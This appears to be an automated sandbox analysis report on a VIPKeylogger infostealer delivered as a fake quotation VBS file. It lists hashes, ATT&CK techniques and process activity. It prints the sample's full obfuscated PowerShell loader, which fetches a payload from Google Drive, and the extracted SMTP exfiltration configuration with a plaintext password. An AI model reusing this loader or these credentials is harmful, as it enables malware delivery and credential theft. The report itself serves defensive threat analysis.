vipkeylogger | 8caed4eaea8675db8956fa5783fecc9b9e00399847a4200c666354afd9d665e5

General

Target

Request For Quotation-RFQ097524.vbs
Size

340KB
MD5

ba22357ab123c78b04b4f0148a35183f
SHA1

716461b95453c6f42b4427817ba38b73f6ba567f
SHA256

8caed4eaea8675db8956fa5783fecc9b9e00399847a4200c666354afd9d665e5
SHA512

764e9e1d4ccfa68c469955325a2959ba6195050f35eacb8a07d591f9377a7bd468a0796c367709852869c76d6d2788b8d890fba2d1c095fe53f90d7bfd06c22d
SSDEEP

6144:En64ik47Q3WAFLOgL6hPnAIjxnH7sjS3xcrl0ZIRN2XrwozRMeqzAv+qmXpiEcIV:ZgcgL8jD/wGmzcspqf7vC/

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.recsb.com
Port:
587
Username:
[email protected]
Password:
1=vI*r6^
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 10 IoCs

flow	pid	Process
15	2036	powershell.exe
21	2036	powershell.exe
44	4912	msiexec.exe
46	4912	msiexec.exe
48	4912	msiexec.exe
51	4912	msiexec.exe
52	4912	msiexec.exe
54	4912	msiexec.exe
56	4912	msiexec.exe
60	4912	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2036	powershell.exe
5044	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
14	drive.google.com
15	drive.google.com
44	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
53	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4912	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5044	powershell.exe
4912	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2036	powershell.exe
2036	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
4912	msiexec.exe
4912	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5044	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	4912	msiexec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1256 wrote to memory of 2036	1256	WScript.exe	87
PID 1256 wrote to memory of 2036	1256	WScript.exe	87
PID 5044 wrote to memory of 4912	5044	powershell.exe	107
PID 5044 wrote to memory of 4912	5044	powershell.exe	107
PID 5044 wrote to memory of 4912	5044	powershell.exe	107
PID 5044 wrote to memory of 4912	5044	powershell.exe	107

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request For Quotation-RFQ097524.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Disastrousness Pigenavnet Intrant Aurthur Uprender #>;$Crumples='Grnseomraadets';<#Neurol Irrevocability konsekvensndring #>; function Markrbjlken($Sproil){If ($host.DebuggerEnabled) {$Brasset++;}$Affaldskortlgningers81=$Encurtain+$Sproil.'Length'-$Brasset; for ( $Ragtops137=5;$Ragtops137 -lt $Affaldskortlgningers81;$Ragtops137+=6){$Uldtrje=$Ragtops137;$Klasseredes223+=$Sproil[$Ragtops137];}$Klasseredes223;}function godmamma($Glaucescence){ . ($Udviklingspsykologien) ($Glaucescence);}$Negationernes=Markrbjlken ' Sp uMR.aktoRet izSankti.nviclE glel UproaS bla/Rhizo ';$Fngslingens=Markrbjlken ' TragTBrneplOverasEmeri1Un ri2Fejlr ';$Jeopardises='Aflev[ olopN amlueIntelTPlugu.M tersRisikeSanskrOveroVUn.ipitiddlc CompeUnconpCyclooaalekIWinc NAdenatHype MDullaAPapirnVindtaLandhG .genEIlocaRfinan]Rero,:Brsma:Wildws risteTilbacTurkiUDepr R EncoIModa.tAlfreyUopdrPConstRN druoSt.dst leiooforejcJ ggeOD dunLUnpro=Ca,ot$Inirrf cofin Re bgrompesMetacL RetaiDybenN ExhbG Pu ve Pr.vNCatapST tti ';$Negationernes+=Markrbjlken 'Li je5Lystb.S,jdl0di.pe ypop(ParceWSyn viFo kenSlgtsdNrsynoheavewtomiusFikse S osvNLnkonTTownh lebe1Erg s0Heden.Tja,t0Beskf; avfi DistWinh si Albin S ua6Red r4Pljed;Cass fan,exDirha6 Et o4Bloms; Halu F.rtrRo stv c,ro: Bant1Schm,3Chokp1Vapou.I dus0 Vide)Fedtc Tog.GTorreeG eblc ,entk Ratiospysh/ H,ke2Albur0Br ho1Famil0Ur.de0 hema1Hyp r0i,nth1.ostp HyzonF A faiBes ir aprieIsskofKummeoFolkexPart / Unde1Skudk3Plagi1Konom.Itmol0 T,rm ';$Forlystelsesstederne45=Markrbjlken '.regoUWinteSWa ere Eth.rL rdi- rainATilbagEftereG inenStirrtE,ter ';$Svveflyvninger=Markrbjlken 'Msmouhnote.tLimnetPeberpReducs Unsp:Pr sl/ Aspa/CaravdS,rair TraniAktievEthnoefoged.Pr blgCassaoCockeoRe,ovgsolatl leaceSamle.TilskcGall.o KejsmEnsio/Interu R.ffc Fo n?Ti oleIlexpxSvindpDrivfoPerinrEn eftBruy =Philid Ube oSanscw AutonArkadlRa,aeoKnlumaKl vndDivis&AteisiArt sdSarco=Ema.c1Can,ah FaelUGyldiYDommeDVerbaml fbes poetN .aderStavavHdersLMycetLSdmlk- Rad.oRega K idrowforha8Antisg Afvi1 AlibnDesi XChromNUnarg2MinerosygelfInt gWAfstaESarabR kiddkTeglvj Salo3QueerXBlgelsBedti ';$Simplify115=Markrbjlken ' Tusi>Lunge ';$Udviklingspsykologien=Markrbjlken ' drflI Ska eZ rzuxSans ';$Misce='Fhrer';$Klkkedes66='\Annoncekroner.Dru';godmamma (Markrbjlken ' Atl,$ nautG yksalRu.rsoF,ierB rr laMea uLCr os:RigsbTUnanch,tomaU SkueNQuemsdsk esEImpetr SvbebsnilduA tasRFoedssRepa,TFour =,bebe$Flelse aktaNRes.ivSkrsl:BlokdaCiterPEskapPTot ld won aJacobtUnmorA Fa e+Snask$VaracK fmnsl Ram KEfterKunpice.tampD Kom.EO.lahsKarto6 nlic6riskw ');godmamma (Markrbjlken 'Sha e$NatioGAflvelRidebOS ipwB Smi AAcrobLpalat:,rikipre ifUfrst RH lvlL epiao SygeidyadiNMidtpe,adedD Carr= Genn$ Lik.sorthivColchVSol aEBoggrF.henoL tateYkatyavSeminn oliti SeminMagteGRadioeSkuesrUnp,r.FolkeSRe,roP,olsjLPerm IPho eTR sts(Re sl$countSFortyI bau.MStilyppsy olDaredI tyliFCaloryob te1 Sokk1 Penc5Subcl) Anhn ');godmamma (Markrbjlken $Jeopardises);$Svveflyvninger=$Purloined[0];$Diaplex=(Markrbjlken ' Nott$P,ormgUnionl mnio PrembForskA Purpl Ento: .vlgsSursyTOverse G lgp Exc hSkotteTextuNLierrIKredieAksecSZelot=AvowenUre.hERakkew Spal-FormuO Lu eBramboJRe uiefry tC SrgeTKkken neaks alteyAmforSfarvet InsoEDoo.amGond .Su urnDuve ESkrabTUnsw..kilorwWylede BabiBBej,lCNeospLO tenISalg e RounNInst TDan.e ');godmamma ($Diaplex);godmamma (Markrbjlken 'Besig$C,ickS LandtTra,seMil.ipMuslihBakkeeStry nAnpa iR cipeTr shsSorti.Hav.iH Ud,ieBiassaWee ed,leureTurtlrSky isOrnit[Clock$ ortoFsamlio.wyerrEschelcantiy Ssons Helbt Unb e FulllRefors DrizeStones GalgsWatertFlygte DealdWarszeDiswarMal fnBillmeEphth4 U pa5afzel]Uncon=Utibl$IdentNRavnseJ rong HackaOv rat,amkriTremeoHalvmn ReleeVestkr orthnOmarbeFiskesChris ');$Blokberegning=Markrbjlken ' Afli$embedSMalert.fhnde Specpcita hExceleSubtinRestiiVrne.eKonsisPosit. RetrD Su.foSt.alwHolmgnaffrdlBrakeoCongraRe stdStrafFMellei hospl Tro e ursu(Mish.$Gla jSOmstdvOnslavDunstePsychfChildlChetry Soliv S alnP resiCymaenCorsogFriskeUgif r lebr,.athl$ ndgiDUncitaStrogtBal aaPersofFolkeeKorrelVor atI.rnveSpir,rOrtog)Orch ';$Datafelter=$Thunderburst;godmamma (Markrbjlken ' Schi$Eveleg RenalSnowmOCor,lBAr ejAGalgaLTubai: Fango agsast.lemCClitoI vesLBlgepLtournO WateGMom nRSk,tsAdisp.mUdmunmOveruE,olkesPegeb=garag(LejektpainfeDrouksUnsewtR ole-SiledpParfuASllertLysdihB nse polym$Me uzDStenoAMisinTUnintaUr,guFTu reEStentLMulattPioxeESmrehR imax)Hal k ');while (!$Oscillogrammes) {godmamma (Markrbjlken 'Pl.je$ ,ilagLovkyl Filmo FurbbBeehiaArkollprete:TilefUGarglnBit,miSystevN nreeTypisrChapls P nii Fondt LonceNoncot ssissSelskh ytheoKrigssIlustpRescuiPersot.drusaJerqul unsa= Siff$dorsotCo arr ulogu Atheemache ') ;godmamma $Blokberegning;godmamma (Markrbjlken ' Intrs Un utAngivaForbur ScleT Glam-BortfSD tralNietze PaatEDansepSalgs .dnae4Palae ');godmamma (Markrbjlken ' ondi$XanthG NeusLCarpoOLo alb Varea XiraLFlueg:MiskmO Patrs BindC An iiLibatLCasanlGnieroultraGU timrPlow ACodirMSemicMConvee DialS F.ed=Ubest(solemtBla kEmiljiS .kreTHderl-DevlipSt mkASensotpartohProgr Betje$VuggsdSumpea WayftBrnefAZydecfBalsaeQuadrlPl sktu ageeDubbeR,nero)Ariva ') ;godmamma (Markrbjlken 'Sti.n$Til lgvergaLHur,rOsequeB .allaTikamLSkokk:alkalD NattaSvmmeuBeslin Indlc ,ieby Unre=Vgtfo$Udli gFabielPrivaoMedieB Tr bA PuttlProce:Bon osMiss aStopsn amboDS lvamFaengiRhapslunbuteThorfR Rst NB havEEvang+Strea+Ac ri%Micro$PaganPva.syuMul.iRPatoglTheatOMephiIBeta N MaveERandmdB skf.MassecRepleoLaterUNondinUnrevtForhr ') ;$Svveflyvninger=$Purloined[$Dauncy];}$Osteotomist=318482;$Sorteres=31167;godmamma (Markrbjlken 'Al er$UmpirGMicrolHamm OArbejBKont a.ullaLFlges: UnwahForbra Mic yGrossB arkfuOrtygRF ataN.dvanE Ur trKvadr blokf=Af lu AkaciG El cEGrundtSeren- PratcSjuskOHu ksN KartTber,ee C vin ncontDegr Par.l$Impu DIndlyasiph.TFliseaMi,opFNerv eMisdeL Sp.atPromoESacchrSamme ');godmamma (Markrbjlken 'Lumpe$MachigLaicalSamfuoChrisbPaah.aInjunl Undl:NagamFAntiqlFratro Ryatc TvilcHyr,nu TimelMe.doePsych Sugem=S ive Rand,[StomoSDags,y Reves,nomat cafe kit,mB sgs.,timeCmolucoSmutsn Skrmv ejlmeForskrPoec,t Gold]Ta le: Juds:jentrF CamprFrs,roMetatmW watBSvejtaCheves FouleFibri6Rowd 4InsigSDddrut Linjr Kvili NeutnNarc gStorv(Kayak$AnretHEkse a NibbyMeditbMountureindrCartcnStalieRehidrg.avm)Skei. ');godmamma (Markrbjlken 'Bankd$GrdagGCoquil Mazyo TjekbSept.a Kom lBogbi:Sk uesCensutHlbenADesigFSemimfSogneeFlaadr.tatuiEx mpnKns pGFattieKropsn.awnf Cull,=Belgi Aktiv[SknsvS okonY M geSOmskoTWheameStvgrMVinna.BambutFodroeSivniX fra.TVid r. SolieUdmagNSofisC Org O DehydAfta,IBeta,NExhedg ata]Recon:Re ne: SafeAAvancsSkrydC UdviiXiphoiErteb. P,cogAbst EbarbatSchmasHoi.eTSnittRTerreiTrmasNHyperGHgter( elan$CheirF elinl chumo Undec OrgaCLev euSimreLLo otePolar) chna ');godmamma (Markrbjlken 'Exing$Lok lg ubfaLUd onO lispb ,malA Tostlfor l: Li tuL ksiMstubbuTils LMaureibighaGKompiHUncone UsurDAlar = Stik$ FanfsFerrut BajoaCort.FForb ftyk eE esteR Ak,ri SigfN BanaGFuseleShahiNinter. LuftSNoselU jet b dstrsTsninT Su.eRAr erIcobolnOverfG Pe e(Nippl$Ps udoGaap S rbejtSundhE endORecenTSkakboChi dMsicyoICe otsOrdret Nonp, Sten$PuberS.tatuo AnstRUnalaTSubsteA.lukrStrikeklasssDomsm)Ruter ');godmamma $Umulighed;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Disastrousness Pigenavnet Intrant Aurthur Uprender #>;$Crumples='Grnseomraadets';<#Neurol Irrevocability konsekvensndring #>; function Markrbjlken($Sproil){If ($host.DebuggerEnabled) {$Brasset++;}$Affaldskortlgningers81=$Encurtain+$Sproil.'Length'-$Brasset; for ( $Ragtops137=5;$Ragtops137 -lt $Affaldskortlgningers81;$Ragtops137+=6){$Uldtrje=$Ragtops137;$Klasseredes223+=$Sproil[$Ragtops137];}$Klasseredes223;}function godmamma($Glaucescence){ . ($Udviklingspsykologien) ($Glaucescence);}$Negationernes=Markrbjlken ' Sp uMR.aktoRet izSankti.nviclE glel UproaS bla/Rhizo ';$Fngslingens=Markrbjlken ' TragTBrneplOverasEmeri1Un ri2Fejlr ';$Jeopardises='Aflev[ olopN amlueIntelTPlugu.M tersRisikeSanskrOveroVUn.ipitiddlc CompeUnconpCyclooaalekIWinc NAdenatHype MDullaAPapirnVindtaLandhG .genEIlocaRfinan]Rero,:Brsma:Wildws risteTilbacTurkiUDepr R EncoIModa.tAlfreyUopdrPConstRN druoSt.dst leiooforejcJ ggeOD dunLUnpro=Ca,ot$Inirrf cofin Re bgrompesMetacL RetaiDybenN ExhbG Pu ve Pr.vNCatapST tti ';$Negationernes+=Markrbjlken 'Li je5Lystb.S,jdl0di.pe ypop(ParceWSyn viFo kenSlgtsdNrsynoheavewtomiusFikse S osvNLnkonTTownh lebe1Erg s0Heden.Tja,t0Beskf; avfi DistWinh si Albin S ua6Red r4Pljed;Cass fan,exDirha6 Et o4Bloms; Halu F.rtrRo stv c,ro: Bant1Schm,3Chokp1Vapou.I dus0 Vide)Fedtc Tog.GTorreeG eblc ,entk Ratiospysh/ H,ke2Albur0Br ho1Famil0Ur.de0 hema1Hyp r0i,nth1.ostp HyzonF A faiBes ir aprieIsskofKummeoFolkexPart / Unde1Skudk3Plagi1Konom.Itmol0 T,rm ';$Forlystelsesstederne45=Markrbjlken '.regoUWinteSWa ere Eth.rL rdi- rainATilbagEftereG inenStirrtE,ter ';$Svveflyvninger=Markrbjlken 'Msmouhnote.tLimnetPeberpReducs Unsp:Pr sl/ Aspa/CaravdS,rair TraniAktievEthnoefoged.Pr blgCassaoCockeoRe,ovgsolatl leaceSamle.TilskcGall.o KejsmEnsio/Interu R.ffc Fo n?Ti oleIlexpxSvindpDrivfoPerinrEn eftBruy =Philid Ube oSanscw AutonArkadlRa,aeoKnlumaKl vndDivis&AteisiArt sdSarco=Ema.c1Can,ah FaelUGyldiYDommeDVerbaml fbes poetN .aderStavavHdersLMycetLSdmlk- Rad.oRega K idrowforha8Antisg Afvi1 AlibnDesi XChromNUnarg2MinerosygelfInt gWAfstaESarabR kiddkTeglvj Salo3QueerXBlgelsBedti ';$Simplify115=Markrbjlken ' Tusi>Lunge ';$Udviklingspsykologien=Markrbjlken ' drflI Ska eZ rzuxSans ';$Misce='Fhrer';$Klkkedes66='\Annoncekroner.Dru';godmamma (Markrbjlken ' Atl,$ nautG yksalRu.rsoF,ierB rr laMea uLCr os:RigsbTUnanch,tomaU SkueNQuemsdsk esEImpetr SvbebsnilduA tasRFoedssRepa,TFour =,bebe$Flelse aktaNRes.ivSkrsl:BlokdaCiterPEskapPTot ld won aJacobtUnmorA Fa e+Snask$VaracK fmnsl Ram KEfterKunpice.tampD Kom.EO.lahsKarto6 nlic6riskw ');godmamma (Markrbjlken 'Sha e$NatioGAflvelRidebOS ipwB Smi AAcrobLpalat:,rikipre ifUfrst RH lvlL epiao SygeidyadiNMidtpe,adedD Carr= Genn$ Lik.sorthivColchVSol aEBoggrF.henoL tateYkatyavSeminn oliti SeminMagteGRadioeSkuesrUnp,r.FolkeSRe,roP,olsjLPerm IPho eTR sts(Re sl$countSFortyI bau.MStilyppsy olDaredI tyliFCaloryob te1 Sokk1 Penc5Subcl) Anhn ');godmamma (Markrbjlken $Jeopardises);$Svveflyvninger=$Purloined[0];$Diaplex=(Markrbjlken ' Nott$P,ormgUnionl mnio PrembForskA Purpl Ento: .vlgsSursyTOverse G lgp Exc hSkotteTextuNLierrIKredieAksecSZelot=AvowenUre.hERakkew Spal-FormuO Lu eBramboJRe uiefry tC SrgeTKkken neaks alteyAmforSfarvet InsoEDoo.amGond .Su urnDuve ESkrabTUnsw..kilorwWylede BabiBBej,lCNeospLO tenISalg e RounNInst TDan.e ');godmamma ($Diaplex);godmamma (Markrbjlken 'Besig$C,ickS LandtTra,seMil.ipMuslihBakkeeStry nAnpa iR cipeTr shsSorti.Hav.iH Ud,ieBiassaWee ed,leureTurtlrSky isOrnit[Clock$ ortoFsamlio.wyerrEschelcantiy Ssons Helbt Unb e FulllRefors DrizeStones GalgsWatertFlygte DealdWarszeDiswarMal fnBillmeEphth4 U pa5afzel]Uncon=Utibl$IdentNRavnseJ rong HackaOv rat,amkriTremeoHalvmn ReleeVestkr orthnOmarbeFiskesChris ');$Blokberegning=Markrbjlken ' Afli$embedSMalert.fhnde Specpcita hExceleSubtinRestiiVrne.eKonsisPosit. RetrD Su.foSt.alwHolmgnaffrdlBrakeoCongraRe stdStrafFMellei hospl Tro e ursu(Mish.$Gla jSOmstdvOnslavDunstePsychfChildlChetry Soliv S alnP resiCymaenCorsogFriskeUgif r lebr,.athl$ ndgiDUncitaStrogtBal aaPersofFolkeeKorrelVor atI.rnveSpir,rOrtog)Orch ';$Datafelter=$Thunderburst;godmamma (Markrbjlken ' Schi$Eveleg RenalSnowmOCor,lBAr ejAGalgaLTubai: Fango agsast.lemCClitoI vesLBlgepLtournO WateGMom nRSk,tsAdisp.mUdmunmOveruE,olkesPegeb=garag(LejektpainfeDrouksUnsewtR ole-SiledpParfuASllertLysdihB nse polym$Me uzDStenoAMisinTUnintaUr,guFTu reEStentLMulattPioxeESmrehR imax)Hal k ');while (!$Oscillogrammes) {godmamma (Markrbjlken 'Pl.je$ ,ilagLovkyl Filmo FurbbBeehiaArkollprete:TilefUGarglnBit,miSystevN nreeTypisrChapls P nii Fondt LonceNoncot ssissSelskh ytheoKrigssIlustpRescuiPersot.drusaJerqul unsa= Siff$dorsotCo arr ulogu Atheemache ') ;godmamma $Blokberegning;godmamma (Markrbjlken ' Intrs Un utAngivaForbur ScleT Glam-BortfSD tralNietze PaatEDansepSalgs .dnae4Palae ');godmamma (Markrbjlken ' ondi$XanthG NeusLCarpoOLo alb Varea XiraLFlueg:MiskmO Patrs BindC An iiLibatLCasanlGnieroultraGU timrPlow ACodirMSemicMConvee DialS F.ed=Ubest(solemtBla kEmiljiS .kreTHderl-DevlipSt mkASensotpartohProgr Betje$VuggsdSumpea WayftBrnefAZydecfBalsaeQuadrlPl sktu ageeDubbeR,nero)Ariva ') ;godmamma (Markrbjlken 'Sti.n$Til lgvergaLHur,rOsequeB .allaTikamLSkokk:alkalD NattaSvmmeuBeslin Indlc ,ieby Unre=Vgtfo$Udli gFabielPrivaoMedieB Tr bA PuttlProce:Bon osMiss aStopsn amboDS lvamFaengiRhapslunbuteThorfR Rst NB havEEvang+Strea+Ac ri%Micro$PaganPva.syuMul.iRPatoglTheatOMephiIBeta N MaveERandmdB skf.MassecRepleoLaterUNondinUnrevtForhr ') ;$Svveflyvninger=$Purloined[$Dauncy];}$Osteotomist=318482;$Sorteres=31167;godmamma (Markrbjlken 'Al er$UmpirGMicrolHamm OArbejBKont a.ullaLFlges: UnwahForbra Mic yGrossB arkfuOrtygRF ataN.dvanE Ur trKvadr blokf=Af lu AkaciG El cEGrundtSeren- PratcSjuskOHu ksN KartTber,ee C vin ncontDegr Par.l$Impu DIndlyasiph.TFliseaMi,opFNerv eMisdeL Sp.atPromoESacchrSamme ');godmamma (Markrbjlken 'Lumpe$MachigLaicalSamfuoChrisbPaah.aInjunl Undl:NagamFAntiqlFratro Ryatc TvilcHyr,nu TimelMe.doePsych Sugem=S ive Rand,[StomoSDags,y Reves,nomat cafe kit,mB sgs.,timeCmolucoSmutsn Skrmv ejlmeForskrPoec,t Gold]Ta le: Juds:jentrF CamprFrs,roMetatmW watBSvejtaCheves FouleFibri6Rowd 4InsigSDddrut Linjr Kvili NeutnNarc gStorv(Kayak$AnretHEkse a NibbyMeditbMountureindrCartcnStalieRehidrg.avm)Skei. ');godmamma (Markrbjlken 'Bankd$GrdagGCoquil Mazyo TjekbSept.a Kom lBogbi:Sk uesCensutHlbenADesigFSemimfSogneeFlaadr.tatuiEx mpnKns pGFattieKropsn.awnf Cull,=Belgi Aktiv[SknsvS okonY M geSOmskoTWheameStvgrMVinna.BambutFodroeSivniX fra.TVid r. SolieUdmagNSofisC Org O DehydAfta,IBeta,NExhedg ata]Recon:Re ne: SafeAAvancsSkrydC UdviiXiphoiErteb. P,cogAbst EbarbatSchmasHoi.eTSnittRTerreiTrmasNHyperGHgter( elan$CheirF elinl chumo Undec OrgaCLev euSimreLLo otePolar) chna ');godmamma (Markrbjlken 'Exing$Lok lg ubfaLUd onO lispb ,malA Tostlfor l: Li tuL ksiMstubbuTils LMaureibighaGKompiHUncone UsurDAlar = Stik$ FanfsFerrut BajoaCort.FForb ftyk eE esteR Ak,ri SigfN BanaGFuseleShahiNinter. LuftSNoselU jet b dstrsTsninT Su.eRAr erIcobolnOverfG Pe e(Nippl$Ps udoGaap S rbejtSundhE endORecenTSkakboChi dMsicyoICe otsOrdret Nonp, Sten$PuberS.tatuo AnstRUnalaTSubsteA.lukrStrikeklasssDomsm)Ruter ');godmamma $Umulighed;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:4912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d34112a7b4df3c9e30ace966437c5e40

SHA1
ec07125ad2db8415cf2602d1a796dc3dfc8a54d6

SHA256
cd9665cdaf412455d6f8dbdb60c721d0cf2ac992f7cd4830d89e8c75f9cfbfbf

SHA512
49fd43e69ece9c8185ada6b6ea5bd8619cb2b31de49793d3bd80180ecf3cf8ad24cac6c494185c99623417de52465c832166f7a4890d36ac0f3be5bd7652e053

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j5m3ow13.web.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Annoncekroner.Dru

Filesize
455KB

MD5
0136c42b89daa3cdf49f4c7bbc5893ef

SHA1
3935ac67f6bd8e60e48bf8b5225996bde86d9a1b

SHA256
ede6f4657b011ebfb1ad8b24f7b4f1e69addebf1cc55bdff3e0318e7a61cb32f

SHA512
7875815ce6195b2a8160dd5b541910dbc72dc10f7241e80436a6b09eca4289b3233d8d74bd95d3b88e9d5a92995eb3ea649ed5be7af0c98e0cba142f95d515bb

Download Submit
memory/2036-20-0x00007FFE0FC50000-0x00007FFE10711000-memory.dmp

Filesize
10.8MB

Download
memory/2036-10-0x000001F7472A0000-0x000001F7472C2000-memory.dmp

Filesize
136KB

Download
memory/2036-14-0x00007FFE0FC53000-0x00007FFE0FC55000-memory.dmp

Filesize
8KB

Download
memory/2036-15-0x00007FFE0FC50000-0x00007FFE10711000-memory.dmp

Filesize
10.8MB

Download
memory/2036-17-0x00007FFE0FC50000-0x00007FFE10711000-memory.dmp

Filesize
10.8MB

Download
memory/2036-11-0x00007FFE0FC50000-0x00007FFE10711000-memory.dmp

Filesize
10.8MB

Download
memory/2036-0-0x00007FFE0FC53000-0x00007FFE0FC55000-memory.dmp

Filesize
8KB

Download
memory/2036-12-0x00007FFE0FC50000-0x00007FFE10711000-memory.dmp

Filesize
10.8MB

Download
memory/4912-66-0x0000000024610000-0x00000000246A2000-memory.dmp

Filesize
584KB

Download
memory/4912-63-0x0000000024D80000-0x0000000024F42000-memory.dmp

Filesize
1.8MB

Download
memory/4912-61-0x0000000024220000-0x00000000242BC000-memory.dmp

Filesize
624KB

Download
memory/4912-59-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Filesize
18.3MB

Download
memory/4912-64-0x0000000024500000-0x0000000024550000-memory.dmp

Filesize
320KB

Download
memory/4912-67-0x00000000245C0000-0x00000000245CA000-memory.dmp

Filesize
40KB

Download
memory/4912-60-0x0000000000AC0000-0x0000000000B08000-memory.dmp

Filesize
288KB

Download
memory/5044-37-0x0000000005EF0000-0x0000000005F0E000-memory.dmp

Filesize
120KB

Download
memory/5044-40-0x0000000006480000-0x000000000649A000-memory.dmp

Filesize
104KB

Download
memory/5044-42-0x0000000007110000-0x0000000007132000-memory.dmp

Filesize
136KB

Download
memory/5044-41-0x0000000007180000-0x0000000007216000-memory.dmp

Filesize
600KB

Download
memory/5044-43-0x0000000008390000-0x0000000008934000-memory.dmp

Filesize
5.6MB

Download
memory/5044-39-0x0000000007760000-0x0000000007DDA000-memory.dmp

Filesize
6.5MB

Download
memory/5044-45-0x0000000008940000-0x000000000CC45000-memory.dmp

Filesize
67.0MB

Download
memory/5044-38-0x0000000005F80000-0x0000000005FCC000-memory.dmp

Filesize
304KB

Download
